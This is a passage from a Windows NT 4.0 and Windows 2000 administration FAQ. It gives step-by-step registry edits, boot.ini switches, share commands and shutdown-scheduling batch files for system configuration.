  3. If the value PowerdownAfterShutdown exists change it to1. Go to step 5
  4. If the value does not exist add it as type REG_SZ and set to 1
  5. Exit the registry editor

You will need an ATX power supply and an updated HAL.DLL from the computer manufacturer in order for this to work, otherwise the machine will just reboot.

Windows NT 4.0 Service Pack 4 and above ships with a file, HAL.DLL.SOFTEX which works on many systems.

To obtain the hal.dll.softex (and halmps.dll.softex for multi processorsystems) run the service pack executable of the service pack you actually have installed with the command line parameter /X . This will extract all the files in the service pack to a temporary directory without installing them. You'll find hal.dll.softex and halmps.dll.softex among the extracted files.

To install perform the following:

C:\> cd %systemroot%\system32
C:\WINNT\system32> rename hal.dll hal.old
C:\WINNT\system32> copy g:\i386\hal.dll.softex hal.dll

Reboot.

An alternative to renaming hal.dll would be to add option /hal=filename.ext in "boot.ini".

Another file, halmps.dll.softex, is shipped for multi processor systems. Some people have reported that after using the softex dll's the CPU miss the idle loop's and this stay at higher temperatures so you may want to watch out for this. If you purchase Softex NT Power Management v2.19 and install it the same happens on a Dell Inspiron 3500 Laptop with Mobile Celeron 366.

Softex have a newer version of the HAL.DLL version 4.0.1381.5 which fixes the CPU idle problem. You can download this from http://support.dell.com/filelib/download/index.asp?fileid=1981&libid=7 I believe.

Windows 2000 includes better support for ACPI.


Q. How do I enable Ctrl-Esc to start Task Manager?

A. This was removed in release 4.0 of NT and changed to Ctrl - Esc - SHIFT, however it can be restored by editing the registry:

  1. Start the registry editor (regedit.exe)
  2. Go to the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. Click Edit - New - String Value and enter the name as TaskMan
  4. Double click the entry and set the value to TASKMAN.EXE and press enter
  5. Close the registry
  6. Reboot the machine


Q. How can I allow non-Administrators to issue AT commands?

A. By default only Administrators can issue AT commands (which use the schedule service). It is possible to allow Server Operators to also submit AT commands:

  1. Start the registry editor (regedit.exe)
  2. Move to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  3. From the Edit menu, select New Dword
  4. The name is "SubmitControl" and press enter
  5. Double click on the name and set the value to 1
  6. Exit the registry editor
  7. Reboot the machine

You may want to recreate your emergency repair disk after making this change.


Q. How do I control Access to Floppy Drives/CD-ROM drives?

A. By default Windows NT allows any program to access the floppy and CD-ROM drives. In a secure environment you may only want the interactive user to be able to access the drives and this is accomplished using the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
  3. From the Edit menu, select New Reg_SZ type
  4. To allocate floppy drives create a name "AllocateFloppies", to allocate CD-ROM drives "AllocateCDRoms"
  5. Press enter, and then set the value to 1
  6. Logout and login again


Q. I have DOS, Windows95 and NT installed, and want them all to show on the boot menu.

A. You need a handy utility called bootpart, which creates multiple operating .sys files enabling DOS and Windows 95 to be shown on the boot menu:

  1. Create an Emergency Repair Disk! (RDISK /s)
  2. Reboot the machine and boot into windows95
  3. When "Starting Windows95" is displayed press F8
  4. Select option 8 to boot to previous version of DOS
  5. Once in DOS goto where you unzipped bootpart.zip and type
    BOOTPART DOS622 c:\BOOTSECT.622 "MS-DOS 6.22"
    BOOTPART WIN95 c:\BOOTSECT.W95 "Windows 95"
    BOOTPART REWRITEROOT:C:
  6. Edit the boot.ini file to remove the old MS-DOS/Windows95 option
    attrib c:\boot.ini -r -s
    edit c:\boot.ini     and remove c:\="MS-DOS"
    attrib c:\boot.ini +r +s
  7. Reboot

Be aware that using Bootpart may cause problems if you select "Previous Windows version" from Windows 95.


Q. How do I remove an App from Control Panel?

A. Each item in the Control Panel corresponds to a .cpl file. When Control Panel starts it search's %systemroot%/system32 for all .cpl files. To remove an item from Control Panel rename the .cpl file (e.g. to .nocpl).

An alternative to this if you only want certain users not to be able run a particular applet is to have the boot partition on NTFS, and remove the READ permission for these users/groups.

Have a look at Q. What are the .cpl files in the system32 directory? for more information on the .CPL files.


Q. How do I assign a drive letter to a removable drive?

A. It is not possible to assign a drive letter to a removable device using Disk Administrator, however you can assign drive letters to the other partitions leaving the letter unused that you want the removable drive to use. NT assigns drive letters to physical devices first (first partition) then to removable drives and then to other partitions (e.g. secondary partitions). For example if you had one harddisk with two partitions and a removable drive the letter assignments would be

  • Physical drive, partition 1 = c:
  • Removable drive = d:
  • Physical drive, partition 2 = e:

To ensure that a removable drive receives a certain drive letter follow the instructions below:

  1. Shutdown NT and disconnect the removable drive
  2. Start NT and assign drive letters to the partitions, leaving the letter you want the removable drive to use free
  3. Shutdown NT, attach the removable drive and start NT

A fix is now available which allows you to actually set the letter for a removable drive, http://support.microsoft.com/support/kb/articles/q142/6/35.asp.


Q. How do I configure a default Screen Saver if no one logs on?

A. This is accomplished using the registry editor:

  1. Start the registry editor (regedit.exe)
  2. Move to the HKEY_USERS\DEFAULT\Control Panel\Desktop
  3. Double Click ScreenSaveActive and set to 1
  4. Double Click SCRNSAVE.EXE and set to "black16.scr"
  5. Double Click ScreenSaveTimeOut and set to the number of seconds (e.g. 600 for 10 minutes)
  6. Exit the registry editor


Q. How do I configure the default screen saver to be the Open GL Text Saver?

A. Follow the procedure below:

  1. Start the registry editor (regedit.exe)
  2. Change the value HKEY_USERS\.DEFAULT\Control Panel\Desktop\SCRNSAVE.EXE to "E:\WINNT\System32\sstext3d.scr"
  3. Create a key called HKEY_USERS\.DEFAULT\Control Panel\Screen Saver.3DText (Edit - New - Key)
  4. Under this new key, create two new values of string type (Edit - New - String Value) called "Font" and "Text"
  5. Set Font (double click on it) to Arial
  6. Set Text to the string you want to be displayed (you are limited to 16 characters)
  7. Close the registry editor

A word of caution, the Open GL screen savers use a lot of system resources, so I would not advise to use this, however I was asked :-)


Q. How can I create a new hardware profile?

A. If you are about to change hardware, you may want to create a copy of your current hardware config before starting which will enable you to revert to your old configuration:

  1. From Control Panel start the System Control Panel Applet (Start - Settings - Control Panel), or right click on "My Computer" and select properties
  2. Click on the "Hardware Profiles" tab
  3. Select the current Hardware Profile "Original Configuration (Current)"
  4. Click Copy and then type in the new name in the dialog box that is shown.
  5. Click OK and the startup options will be set.


Q. I have entries on the Remove software list that don't work, how can I remove them?

A. Each entry on this list (Start - Settings - Control Panel - Add/Remove Programs) is an entry in the regisry under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall. Just remove the key for any entries you don't want.


Q. How can I disable Dr. Watson?

A. Dr. Watson can be disabled using the registry editor:

  1. Start the registry editor (regedit.exe)
  2. Goto HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug
  3. Click on AeDebug and click Del

Alternativly just set HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug\AUTO to 0

To re-enable Dr. Watson type drwtsn32 -i


Q. How do I create a network share?

A. It is possible to create a share from the command prompt by typing:

net share <share name>=<drive>:<dir> /remark="<description>"
e.g. net share john=c:\data\johndrv /remark="Johns drive"

A share can also be created using explorer:

  1. Start Explorer (Start - Programs - Windows NT Explorer)
  2. Right Click on a directory and select "sharing"
  3. Click the Sharing tab, and select "Shared as"
  4. Enter a description and click OK
  5. The directory will now have a hand on the directory

It is possible to add a $ to the end of the share so it will appear hidden, and not visible from a network browse.


Q. How do I connect to a network share?

A. You can connect to a network share using the command prompt:

net use <drive letter>: <UNC>
e.g. net use f: \\johnpc\john

A share can also be connected to using explorer:

  1. Start Explorer (Start - Programs - Windows NT Explorer)
  2. From Tools menu, select Map Network Drive
  3. Select a drive letter, and either enter the share path or browse the network and select
  4. Click OK

The advantage of using the "net use" command is you can connect to hidden shares, i.e. john$ (although you can also connect by manually typing the address in explorer), and also this can be used from within command files.


Q. How do I configure the boot menu to show forever?

A. The timeout is changed by editing the boot.ini file which is on the boot partition and changing the timeout parameter:

  1. Start a command session (Start - Run - Command)
  2. Set the attributes on c:\boot.ini to non-read and non-system
    attrib c:\boot.ini -r -s
  3. Edit the file and change the timeout to -1
    [boot loaded]
    timeout = -1
  4. Save your changes and set the file back to read only and system
    attrib c:\boot.ini +r +s


Q. How can I configure the machine to reboot at a certain time?

A. There is a command line utility shipped with the resource kit called SHUTDOWN.EXE that can be used to reboot the local machine

shutdown /l /r /y /c

Where /l tells it to shutdown the local machine, /r to reboot, /c to close all programs and /y to avoid having to say yes to questions. You can then combine this with the AT command (don't forget you need the Schedule service to be running (Start - Settings - Control Panel - Services) to use the AT command) to make this happen at a certain time:

AT <time> shutdown /l /r /y /c, e.g.
AT 20:00 shutdown /l /r /y /c

Additions to the at command could be /every:M,T,W,Th,F so it happens every day, e.g. AT 20:00 /every:M,T,W,Th,F shutdown /l /r /y /c

You will then be given 20 seconds before the machine is shutdown, to abort the shutdown type

shutdown /l /a /y

You may also consider ShutdownPlus (http://www.wmsoftware.com/shutdownplus) which replaces the standard Windows shutdown and logoff dialog boxes. Shutdownplus allows you to run applications and stop services (stopping services only under NT/2000) at shutdown, restart, or logoff.


Q. How can I configure Explorer to start with drive x: ?

A. The procedure below is used to change the shortcut for Explorer in the start menu, however you could just as easily create a new shortcut on the desktop and then edit the properties of it and change the target.

  1. Start Explorer ( Start - Programs - Windows NT Explorer, or Win key + E)
  2. Move to %SystemRoot%/profiles/<your username>/Start Menu/Programs, e.g. d:/winnt/profiles/savillj/Start Menu/Programs
  3. Right click on Windows NT Explorer and select Properties, or select Properties from the File menu
  4. The target will be %SystemRoot%\explorer.exe, change this to %SystemRoot%\explorer.exe /e, <drive letter>:\ ,e.g %SystemRoot%\explorer.exe /e, e:\ would make explorer start at the E: drive (make sure you type to commas), you can also use /root, which forces the right hand pane to only show E: (not nice!), e.g. %SystemRoot%\explorer.exe /e, /root, e:\ .
    Also note that instead of just a drive letter, you can also specify a directory, e.g. %SystemRoot%\explorer.exe /e, e:\winnt\system32
  5. Click OK and exit Explorer


Q. How can I decrease the time my machine takes to shutdown/reboot?

A. It is possible to manually shutdown each service (well some of them) and then shutdown the machine. To identify which services are running enter the command

net start

(you can add > [filename] to the end to make it output to a file, i.e. net start > services.lst). You can then try to shutdown each of them by entering the command

net stop "<service name>" ,e.g. net stop "spooler". Some services will ask you to enter a y to confirm, and for these just add /y to the end. You will be able to build up a list of all the services that can be manually stopped, and you should put these in a .bat file, e.g.

net stop "Computer Browser""
net stop "Messenger"
.
.
net stop "Workstation"

To the end of the file add the command

shutdown /r /y /l /t:0

to reboot the machine (leave of the /r to just shutdown the machine). SHUTDOWN.EXE is part of the Windows NT Resource Kit. You may also want to add @echo off to the start of the file. You could add a check to accept an input parameter to reboot or shutdown, e.g. save this file as shutfast.bat, and call using shutfast reboot, or shutfast shutdown

@echo off
net stop "Computer Browser""
net stop "Messenger"
net stop "Net Logon"
net stop "NT LM Security Support Provider"
net stop "Plug and Play"
net stop "Protected Storage"
net stop "Remote Access Autodial Manager"
net stop "Server"
net stop "Spooler"
net stop "TCP/IP NetBIOS Helper" /y
net stop "Workstation"

if %1==reboot goto reboot
shutdown /l /y /t:0
exit
:reboot
shutdown /l /y /r /t:0
exit

You could add a shortcut on the desktop for this batch file with the relevant parameter.

You can also decrease the time NT waits for a service to stop before terminating it by performing the following:

  1. Start the registry editor (use regedt32.exe not regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
  3. Double click on WaitToKillServiceTimeout (REG_DWORD) and change to the number of milliseconds after the logoff/shutdown before displaying the Wait, End Task and Close dialog box, e.g. 10000 for 10 seconds, the default is 20000
  4. Add HangAppTimeout (REG_DWORD) and change to the number of milliseconds to wait before displaying the Wait, End Task and Close dialog box after trying to close an application.
  5. Add AutoEndTasks (REG_DWORD) and change to 1 to avoid the dialog asking to Wait, End Task and Close.

I have been informed of an application TrapSD from http://www.pyzzo.com which helps close applications at shutdown.


Q. How can I change the startup order of the services?

A. Each service belongs to a Service Group, and it is possible to modify the order that the groups start:

  1. Start the Regitry Editor (regedt32.exe, not regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ServiceGroupOrder
  3. Double click on List in the right hand pane
  4. You can then move the groups around in the list order
  5. Click OK
  6. Close the registry editor

See Knowledge Base Article Q102987 at http://support.microsoft.com/support/kb/articles/q102/9/87.asp for more information


Q. How can I configure the system so that certain commands run at boot up time?

A. There is a utility called AUTOEXNT which is supplied in a zip file. You use perform the following:

  1. From the AUTOEXNT.ZIP file extract the files autoexnt.exe, autoexnt.bat and servmess.dll to %systemroot%/system32
  2. Also extract the file INSTSRV.EXE to any directory (a temp directory will do)
  3. At the command prompt enter
    instsrv install
    This will create a new service called AutoExNT
  4. Edit the file %systemroot%/system32/autoexnt.bat and put in any commands you want to be run when the machine boots (such as a CHKDSK, etc.)

When the system boots in future the AutoExNT service will check for the existence of the file autoexnt.bat and execute any commands in it.

A version of this is also shipped with the resource kit, however it is better to use the downloadable version. To install the Resource kit version you have to type
instexnt install


Q. What are the .cpl files in the system32 directory?

A. Each .cpl file represents one or more control panel applets (Start - Settings - Control Panel). Below is a list of common .cpl files and what Control Panel Applets they represent

.cpl file name | Control Panel Applets
ACCESS.CPL | Accessibility options
APPWIZ.CPL | Add/remove programs
CONSOLE.CPL | Console
DESK.CPL | Display
DEVAPPS.CPL | PCMCIA, SCSI adapters and tape drives
INETCPL.CPL | Internet
INTL.CPL | Regional Settings
JOY.CPL | Joystick
MAIN.CPL | Fonts, keyboard, mouse and printers
MLCFG32.CPL | Mail
MMSYS.CPL | Sounds and multimedia
MODEM.CPL | Modems
NCPA.CPL | Network
NTGUARD.CPL | Dr Solomons
ODBCCP32.CPL | ODBC
PORTS.CPL | Ports
RASCPL.CPL | Dial up monitor
SRVMGR.CPL | Server, services and devices
SYSDM.CPL | System
TELEPHON.CPL | Telephony
TIMEDATE.CPL | Date/time
TWEAKUI.CPL | TWEAKUI
UPS.CPL | UPS

If you renames any of these files then the items they represent in the Control Panel would not be shown, e.g.
rename timedate.cpl timedate.non
would remove the date/time control panel applet.

Also, setting HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders (REG_DWORD) to 1 will hide the Control Panel, Printers and My Computer in Explorer and Start Menu. You would normally need to create this value as it does not exist by default.


Q. How can I create a non-network hardware configuration?

A. You may have some machines that are not always connected to the network, and a solution is to create an alternate hardware profile which has all network devices and services disabled.

  1. Start Control Panel (Start - Settings - Control Panel)
  2. Start the System Control Panel Applet
  3. Select the Hardware Profiles tab
  4. Select the current configuration and click Copy
  5. In the To box enter the name "No Network" and click OK
  6. From the Available Hardware Profiles box, select "No Network" and click Properties
  7. Click the Network tab, and check the "Network disabled hardware profiles" box and click OK
  8. Check the wait for time is set, e.g. 30 seconds and then click OK
  9. You can also change the name of "Original Configuration" to "On Network" if you want by selecting it and clicking rename and typing the new name.

To actually use this configuration when you boot up the machine, after you select the operating system to load, e.g. "Windows NT Workstation 4.0" you will receive another menu with your hardware profile choices. Select the required and click enter.


Q. How can I remove the option "Press Spacebar for last known good config"?

A. The choice is hard coded into NT and therefore cannot be removed, however you can remove the functionality of what it does.

Several sets of configuration information are stored in NT, the current configuration and one or more sets of old configuration that are known to work. What NT does in the registry is to point to the current configuration and also a link to one of the other sets. It is possible to change the link to the last known good config, thus pressing space at bootup will have no effect.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\Select (if you look at HKEY_LOCAL_MACHINE\SYSTEM you can see the control sets)
  3. Double click on LastKnownGood and change to whatever value Current is
  4. Click OK and exit the registry editor

The option "Press Spacebar for last known good config" has caused lots of trouble, because of use with the Novell IntranetWare for Windows NT, which is unavaiable after restoring the last known good configuration; the same is true for any self created hardware profile.

It has been found that an interesting solution for this and other related system crashes: Save the whole registration key from the regedit (interestingly, this method doesn't work with the more detailed regedt32) as a script file named for example save.reg, and if a system is damaged a simple double click on this executable file regenerates the whole configuration without loss of information. Moreover you can zip this file - usually as large as 5 MBytes - to a volume of nearly 500 KBytes. With these tools in hand it is possible, to restore a crashed system from disk with rdisk and afterwards regenerate it with the registry file to the last known standard.


Q. How can I disable the OS2/POSIX subsystems?

A. It is possible to disable one or both of these

  1. Start the registry editor (regedt32.exe, not regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems
  3. Double click on Optional
  4. On each line is one subsystem, simply remove the one you wish to disable. If you want to disable both, set the value to Null
  5. Click OK
  6. Close the registry editor and reboot


Q. How can I run a control panel applet from the command line?

A. It is possible to run Control Panel applets from the command line by just typing

control <applet name>

There are some instances when the .cpl file represents more than one control panel applet when you need to pass a parameter of which applet to run, below is a list

  • srvmgr.cpl - use services, devices or server
  • main.cpl - Fonts, Mouse, Printers or Keyboard
  • mmsys.cpl - Sounds or Multimedia

e.g. control main.cpl printers
will run the printer control panel applet

However it is better to associate the .cpl extension with control.exe, which means you only need to type the applet name. This is accomplished using the assoc and ftype commands

assoc .cpl=ControlFile
ftype ControlFile=control.exe %1 %*

You can now just enter the command and it will run (be sure to include the .cpl extension).

For a full list of control panel applets to .cpl files see Q. What are the .cpl files in the system32 directory?


Q. How can I configure a program/batch file to run every x minutes?

A. NT comes with a powerful built in scheduling tool, the at command, however it is not really suitable for running a command every 5 minutes, to do this you would have to submit hundreds of at jobs to run at certain times of the day. There are a number of tools supplied with the Windows NT Resource Kit which will help.

The first is called sleep.exe, and is user to set a command file to wait for n seconds (like the timeout command), and its usage is simply
sleep 300
which would make the batch file pause for 5 minutes, so if you wanted a command file/program to run every 5 minutes you could write a batch file with the following (name run5.bat)
<program name>
sleep 300
run5

There are a number of problems with this approach, the command session has to stay open, and the 5 minutes does not start until the program has closed (however this can be solved by running the program in a separate thread by putting the word "start" in front of the program, e.g. start <program>).

Another program is called SOON.EXE and this schedules a task to run in n seconds from now, to use soon the scheduler service has to be running (start - settings - control panel - services). Again you could create a batch file to use it (runsoon.cmd)
soon 300 runsoon.cmd
notepad.exe
Run the command file using the at command or soon, e.g. from the command line
soon 300 runsoon.cmd
to get it started

Once the SOON is scheduled to run, if you wanted to stop it you would use the AT command to get a list of current scheduled jobs

C:\>at
Status ID Day Time Command Line -------------------------------------------------------------------------------
0 Today 9:04 AM runsoon.cmd

Once its ID is known it can be stopped using

C:\>at [\\computer name] <ID> /delete
e.g. C:\>at 0 /delete


Q. What registry keys do the Control Panel applets update?

A. The table below shows the control panel applet and the corresponding registry area, those not shown are stored in multiple areas.

Accessibility Options | HKEY_CURRENT_USER\Control Panel\Accessibility
Date/Time | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation
Devices | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
Display | HKEY_CURRENT_USER\Control Panel\Desktop and HKEY_LOCAL_MACHINE\HARDWARE\RESOURCEMAP\VIDEO
Fonts | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts
Internet | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Keyboard | HKEY_CURRENT_USER\Control Panel\Desktop
Modems | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Unimodem
Mouse | HKEY_CURRENT_USER\Control Panel\Mouse
Multimedia | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Multimedia
Ports | HKEY_LOCAL_MACHINE\HARDWARE\RESOURCEMAP
Printers | HKEY_CURRENT_USER\Printers
Regional Settins | HKEY_CURRENT_USER\Control Panel\International
SCSI Adapters | HKEY_LOCAL_MACHINE\HARDWARE\RESOURCEMAP\ScsiAdapter
Services | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
Sounds | HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default
Tape devices | HKEY_LOCAL_MACHINE\HARDWARE\RESOURCEMAP\OtherDrivers\TapeDevices
Telephony | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony
UPS | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UPS


Q. How can I run a script at shutdown time?

A. There is no direct way to accomplish this, however it is possable to write a script and then call the shutdown.exe utility that is shipped with the NT Resource kit

shutdown /l /y

You could then add a shortcut to this script on the desktop. An alternative is to use a utility called ShutUp which can be downloaded from http://www.zdnet.com/pcmag/download/utils/shutup-a.htm .

You may also consider ShutdownPlus (http://www.wmsoftware.com/shutdownplus) which replaces the standard Windows shutdown and logoff dialog boxes. Shutdownplus allows you to run applications and stop services (stopping services only under NT/2000) at shutdown, restart, or logoff.

Another method is to use a special GINA from http://wwwthep.physik.uni-mainz.de/~frink/nt.html which enables you to do this.

In Windows 2000 this can be accomplished using Group Policy Objects. Go to the User Configuration - Windows Settings - Scripts (Logon/Logoff) and set the Logoff option.


Q. How can I create my own tips to be shown when NT starts?

A. The tips that NT displays are stored in key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Tips, and can easily be edited using the registry editor. You will notice that the names of the values are incremented by one so to add a new tip just either edit an existing one or create a new value (of type string) and set its name to the next available number.

The tips are displayed sequentially and the counter is stored in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips\Next and can be changed if you want. The values are stored in hexadecimal.

To control if tips are shown set the value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips\show to 01000000 to display and 00000000 to not display.


Q. How can I change the location of the event logs?

A. In event viewer you will notice that there are 3 different logs, Application, System and Security and each of these are mapped to a .EVT file in the %systemroot%/system32/config directory, however for performance/disk space reasons you may wish to move them and this can be done by performing the following

  1. Start the Registry Editor (regedit.exe)
  2. Move to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog key. Under this key are 3 other sub-keys, Application, Security and System. Select on of them
  3. Under each of the sub-keys is a value called File, double click this value
  4. Edit the value to the location you require and click OK
  5. Repeat for the other 2 log settings
  6. Close the registry editor and reboot the machine for the change to take effect


Q. How can I configure the default Internet Browser?

A. When you start an Internet Browser they usually perform a check to see if they are the default browser, however you may have turned this check off and want to change the default browser

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\http
  3. Expand the tree and move to HKEY_CLASSES_ROOT\http\shell\open\command, double click on default and set the string to the command you wish to run for Internet addresses, for example
    "E:\Program Files\Internet Explorer\iexplore.exe" -nohome for Internet Explorer
    E:\Program Files\Netscape\Communicator\Program\netscape.exe -h "%1" for Netscape
    Click OK
  4. Move to HKEY_CLASSES_ROOT\http\shell\open\ddeexec\Application, and again double click Default, change to the browser, NSShell for Netscape, IExplore for Internet Explorer.
  5. You may also want to change the icon associated, move to HKEY_CLASSES_ROOT\http\DefaultIcon, (do I need to say) double click Default and set to the icon
    %SystemRoot%\system32\url.dll,0 Internet Explorer
    E:\Program Files\Netscape\Communicator\Program\netscape.exe,0 Netscape Navigator
  6. You should repeat the above for https as well, i.e. HKEY_CLASSES_ROOT\https\shell\open\command etc.


Q. How can I change the alert for low disk space on a partition?

A. By default when a partition has less than 10% free disk space an event ID 2013 is created with the following text

"The disk is at or near capacity. You may need to delete some files".

To view these events use Event Viewer, however it is possible to change the percentage that the alert is created

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
  3. If the value DiskSpaceThreshold exists then double click on it and skip to step 5
  4. If the value does not exist, from the Edit menu select New - DWord value. Enter a name of DiskSpaceThreshold. Click OK then double click on the new value
  5. Set the base to decimal and enter a value that you want the event to be generated at from 0-99.
  6. Click OK
  7. Restart the machine


Q. Is it possible to delete/rename the Administrator account?

A. It is not possible to delete the Administrator account, if you try and delete it an error "Cannot delete built in accounts" will be displayed. You can however rename it, in fact it is recommended that the account be renamed to avoid the possibility of hacking, most hackers try to enter a system using an admin account. To rename the Administrator account perform the following

  1. Log onto the machine as an Administrator
  2. Start User Manager (or User manager for Domains)
  3. Select the Administrator account and select Rename from the User menu.
  4. Enter a new name and click OK


Q. How can I tell NT how much secondary cache (L2) is installed?

A. NT will try and detect how much L2 cache is installed at startup time however it cannot always tell and will use a default of 256. If you have more you can manually configure NT with your exact amount

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
  3. Double click on SecondLevelDataCache
  4. Click the decimal base and then enter the amount, e.g. 512 if you have 512K of cache.
  5. Click OK
  6. Close the registry editor and reboot the machine

The above only applies to processors below the PII, processors at PII or above level will correctly identify the L2 cache size. For more information see Q183063 at http://support.microsoft.com/support/kb/articles/Q183/0/63.ASP.


Q. What switches can be used in boot.ini?

A. The boot.ini file has a number of lines and some of these relate to the Windows NT Operating system, e.g.

multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows NT Workstation Version 4.00"

There are a number of switches that can be appended to the Windows NT startup line to perform certain functions. To edit the file perform the following

  1. Start a command session (cmd.exe)
  2. Modify the attributes on the file c:\boot.ini to make the file editable
    attrib c:\boot.ini -r -s
  3. Edit the file
    edit c:\boot.ini
  4. Once finished save the file and reset the files attributes
    attrib c:\boot.ini +r +s

The switches that can be added are as follows

/3GB | New to Service Pack 3. This causes the split between user and system portions of the Windows NT map to become 3GB for user applications, 1GB for System. To take advantage of this the system must be part of the NT Enterprise suite and the application must be flagged as a 3GB aware application.
/BASEVIDEO | The computer starts up using the standard VGA video driver. Use this if you have installed a graphics driver that is not working.
/BAUDRATE | Specifies the baud rate to be used for debugging. If you do not set the baud rate, the default baud rate is 9600 if a modem is attached, and 19200 for a null-modem cable.
/BOOTLOG | Makes 2000 write a log of the boot to the file %SystemRoot%\NTBTLOG.TXT Windows 2000 Only
/BURNMEMORY= | Makes NT forget about the given amount of memory in MB. If /burnmemory=64 was given then 64MB of memory would be unavailable
/CRASHDEBUG | The debugger is loaded when you start Windows NT, but remains inactive unless a Kernel error occurs. This mode is useful if you are experiencing random, unpredictable Kernel errors.
/DEBUG | The debugger is loaded when you start Windows NT, and can be activated at any time by a host debugger connected to the computer. This is the mode to use when you are debugging problems that are regularly reproducible.
/DEBUGPORT= comx | Specifies the com port to use for debugging, where x is the communications port that you want to use.
/FASTDETECT | Specifying FASTDETECT causes NTDETECT to skip parallel and serial device enumeration for a boot into Win2K, whereas ommitting the switch has NTDETECT perform enumeration for a boot into NT 4.0. Win2K setup automatically recognizes dual-boot configurations and sets this switch for BOOT.INI lines that specify a Win2K boot. Windows 2000 Only
/HAL=<hal> | Allows you to override the HAL used, for example using a checked version
/INTAFFINITY | Sets the multiprocessor HAL (HALMPS.DLL) to set interrupt affinities such that only the highest numbered processor in an SMP will receive interrupts. Without the switch the HAL defaults to its normal behavior of letting all processors receive interrupts. Windows 2000 Only
/KERNEL=<kernel> | Same as above but for the kernel
/MAXMEM:n | Specifies the maximum amount of RAM that Windows NT can use. This switch is useful if you suspect a memory chip is bad.
/NODEBUG | No debugging information is being used.
/NOGUIBOOT | When this option is specified the VGA video driver responsible for presenting bit mapped graphics during Win2K's boot process is not initialized. The driver is used to display boot progress information, as well as to print the Blue Screen crash screen, so disabling it will disable Win2K's ability to do those things as well. Windows 2000 Only
/NOSERIALMICE=[COMx | COMx,y,z...] | Disables serial mouse detection of the specified COM port(s). Use this switch if you have a component other than a mouse attached to a serial port during the startup sequence. If you use /NOSERIALMICE without specifying a COM port, serial mouse detection is disabled on all COM ports.
/NUMPROC=n | Only enables the first n processors on a multiple processor system
/ONECPU | Only use the first CPU in a multiple processor system
/PCILOCK | Stops Windows NT from dynamically assigning IO/IRQ resources to PCI devices and leaves the devices configured by the BIOS.
/SAFEBOOT: | This is an automatic switch which NTLDR should complete for you when you use the F8 menu to perform a safe boot. Following the colon in the option you must specify one of three additional switches: MINIMAL, NETWORK, or DSREPAIR. The MINIMAL and NETWORK flags correspond to safe boot with no network and safe boot with network support. The safe boot is a boot where Windows 2000 only loads drivers and services that are specified by name or group in the Minimal or Network Registry keys under HKLM\System\CurrentControlSet\Control\SafeBoot. The DSREPAIR (Directory Services Repair) switch causes NT to boot into a mode where it restores the Active Directory from a backup medium you present. An additional option that you can append is "(ALTERNATESHELL)". This tells NT to use the program specified by HKLM\System\CurrentControlSet\SafeBoot\AlternateShell as the graphical shell, rather than to use the default which is Explorer. Windows 2000 Only
/SOS | Displays the driver names while they are being loaded. Use this switch if Windows NT won’t start up and you think a driver is missing. This option is configured by default on the [VGA] option on the boot menu.
/WIN95 | This switch is only pertinent on a triple-boot system that has DOS, Win9x and Windows NT installed. Specifying the /WIN95 switch directs NTLDR to boot the Win9x boot sector stored in BOOTSECT.W40. See Microsoft KB Article Q157992 for more information.
/WIN95DOS | This switch is only pertinent on a triple-boot system that has DOS, Win9x and Windows NT installed. Specifying the /WIN95DOS switch directs NTLDR to boot the DOS boot sector stored in BOOTSECT.DOS. See Microsoft KB Article Q157992 for more information.
/YEAR= | Specifying this value causes NT/Windows 2000 core time function to ignore the year that the computer's real-time clock reports and instead use the one indicated. Thus, the year used in the switch affects every piece of software on the system, including the NT kernel. Example: /YEAR=2005. Note: this option is only available on NT 4.0 Service Pack 4 and Windows 2000.

You can then edit the boot.ini file and either add Windows NT startup entries or modify existing entries, for example you could add a debug entry in the file as follows

multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows NT Workstation Version 4.00 [debug]" /debug /debugport=com2


Q. How can I change the default editor used for editing batch files?

A. By default if you right click on a batch file and select Edit then the batch file will be opened in Notepad, however the application used can be changed as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\batfile\shell\edit\command
  3. Double click on default
  4. Change the value to the editor you want to use, e.g. for word change it to
